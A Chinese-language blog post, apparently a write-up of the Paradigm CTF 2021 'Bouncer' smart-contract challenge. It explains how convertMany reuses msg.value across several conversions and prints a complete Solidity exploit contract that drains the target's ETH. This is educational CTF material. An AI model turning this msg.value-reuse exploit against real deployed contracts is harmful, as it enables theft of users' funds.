Paradigm CTF-Bouncer

  • bixia1994
  • 更新于 2021-07-14 20:31
  • 阅读 2365

本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

Paradigm CTF-Bouncer

本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

本文都是基于https://cmichel.io/paradigm-ctf-2021-solutions/这篇文章进行的分析,如有需要可以参考原文。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993

题目分析:

首先是分析下合约Bouncer的资金流入流出表

方法名 资金流向 要求 状态
$enter(address,uint256)$ TOKENÐ流入 $msg.value = entryFee$ new Entry(amount,time,token)
$convertMany(address,uint256[])$ NA entry.token+=amount
contributions(address,address[])
convert(address,uint256) NA $\mathtt{1}. block.timestamp > entry.tiemstamp\\mathtt{2}.token.allowance = uint(-1)\\mathtt{3}.msg.sender = delegate[who] $ entry.token += amount​
redeem(ERC20Like,uint256) TOKENÐ流出 $tokens[msg.sender][address(token)] > amount$ tokens[msg.sender][token] -= amount
proofOfOwnership(ERC20Like,address,uint256) TOKENÐ流入 $msg.value = amount$
addDelegate(address,address) NA $msg.sender = owner\ msg.sender = from$ delegates[from] = to
removeDelegate(address) NA $msg.sender = owner\ msg.sender = from$ delete delegates[from]
claimFees() ETH流出 $msg.sender = owner$
hatch(address,bytes) NA $msg.sender = owner$ delegatecall

再看下题目要求:

function isSolved() public view returns (bool) {
    return address(bouncer).balance == 0;
}

题目要求是拿走Bouncer合约的所有ETH,故我们关注下ETH流出函数:claimFees和redeem,由于claimFees要求是owner,我们可以先看下redeem

// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
    tokens[msg.sender][address(token)] -= amount;
    payout(token, msg.sender, amount);
}

看起来可以直接调用redeem函数,他就会直接将ETH转账给我们,但实际上它有一个隐含要求:由于是solidity 0.8.0, 其加减乘除法都实现了openzepplin的safemath库,故此函数的实际要求是:

// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
    require(tokens[msg.sender][address(token)] > amount);
    tokens[msg.sender][address(token)] -= amount;
    payout(token, msg.sender, amount);
}

正常的工作流程是:

enter(ETH,1 ether)
    -- new Entry{amount=1 ether, time=now, token=ETH}
convert(user, id)
    -- 拿到entry = entries[user][id]
    -- 进行convert里面的三个验证:timestamp, allowance, msg.sender=user
    --> proofOfOwnership(token,user,amount)
        --验证 msg.value == amount
    -- token[user][token] += amount
redeem(token, amount)
    -- token[user][token] > amount
    --> payout(token,msg.sender,amount)

正常流程中,应该是每一次convert都需要验证msg.value==amount。但是如果改成convertmany,则只需要一次满足即可,其流程变为:

enter(ETH, x ether) <msg.value=1 ether>
enter(ETH, x ether) <msg.value=1 ether>
convertmany(user, ids) <msg.value=x ether>
    --> convert(user, ids[0])
        --> proofOfOwnership(token, user, amount)
            -- require(msg.value == amount) 满足
            <token[user][ETH] = x>
    --> convert(user, ids[1])
        --> proofOfOwnership(token, user, amount)
            -- require(msg.value == amount) 满足
            <token[user][ETH] = 2x>
redeem(ETH, 2x ether)
    --> payout(ETH, msg.sender, 2x ether)
我们期望的结果是:
out: 2x
in: x + 1 + 1
reserve: 50 + 1 + 1
=> out = in + reserve
=> 2x = x + 2 + 52
x = 54

故我们的破解合约为:

pragma solidity 0.8.0;
import "./Setup.sol";
import "hardhat/console.sol";
contract Hack {
    Bouncer public bouncer;
    address public ETH;
    uint public target_amount;
    constructor(address _setup) public  payable {
        bouncer = Bouncer(Setup(_setup).bouncer());
        console.log("bouncer is %s", address(bouncer));
        ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
        // 拿到bouncer合约的所有ETH余额值
        uint256 _amount = address(bouncer).balance;
        console.log("bouncer.balance %s",_amount);
        // 目标数量
        target_amount = _amount + 2 ether;
        console.log("target_amount %s", target_amount);
        // 往Bouncer里存一个数量

    }
    function pre_go() public payable {
        bouncer.enter{value: 1 ether}(address(ETH), target_amount);
        bouncer.enter{value: 1 ether}(address(ETH), target_amount);
    }
    function go() public payable {
        // 执行上述逻辑

        // 执行convertmany
        uint256[] memory ids = new uint256[](2);
        ids[0] = 0;
        ids[1] = 1;
        bouncer.convertMany{value: target_amount}(address(this), ids);
        console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));

        // 执行redeem
        bouncer.redeem(ERC20Like(ETH), 2*target_amount);
        console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));

        // 判断并自毁
        require(address(this).balance >= 2*target_amount, "balance not enough");
        selfdestruct(payable(address(tx.origin)));
    }
    receive() external payable{}
}

写合约的时候,注意一点:

由于convert有一个timestamp的要求,故enter和convertMany不能再同一个块中。所以需要拆成两个函数。 image20210711190035084.png image20210711190050765.png

点赞 2
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code